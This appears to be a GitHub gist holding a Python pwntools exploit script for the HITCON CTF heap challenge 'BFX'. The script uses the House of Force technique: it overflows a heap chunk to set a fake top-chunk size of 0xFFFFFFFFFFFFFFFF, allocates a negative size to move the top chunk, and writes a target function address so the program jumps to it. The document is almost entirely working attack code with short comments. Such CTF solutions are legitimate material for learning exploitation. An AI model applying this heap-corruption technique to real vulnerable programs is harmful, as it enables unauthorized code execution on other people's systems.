Created
May 11, 2018 16:14
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HITCON BFX - House Of Force
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| from pwn import * | |
| import sys | |
| ################################### | |
| # HITCON CTF - BFX HEAP - HOUSE OF FORCE | |
| ################################### | |
| r = remote(sys.argv[1],int(sys.argv[2])) | |
| pause() | |
| flag = 0x400de9 | |
| def show(): | |
| r.recvuntil(":") | |
| r.sendline("1") | |
| r.recvuntil("choice:") | |
| def add(size,data): | |
| r.recvuntil("choice:") | |
| r.sendline("2") | |
| r.recvuntil(":") | |
| r.send(str(size)) | |
| r.recvuntil(":") | |
| r.sendline(data) | |
| def edit(idx,size,data): | |
| r.recvuntil("choice:") | |
| r.sendline("3") | |
| r.recvuntil(":") | |
| r.sendline(str(idx)) | |
| r.recvuntil(":") | |
| r.sendline(str(size)) | |
| r.recvuntil(":") | |
| r.sendline(data) | |
| def free(idx): | |
| r.recvuntil("choice:") | |
| r.sendline("4") | |
| r.recvuntil(":") | |
| r.sendline(str(idx)) | |
| add(0x60,"A"*0x60) | |
| pld = "A"*0x60 | |
| pld += p64(0) | |
| pld += p64(0xFFFFFFFFFFFFFFFF) #FAKE TOP SIZE | |
| edit(0,(0x60+16),pld) | |
| #add(-(0x4a0+16),"PWNY") #in local | |
| add(-0xa0,"PWNY") #in Remote | |
| pld = p64(flag)*2 | |
| add(0x20,pld) | |
| r.sendline("5") | |
| r.interactive() |
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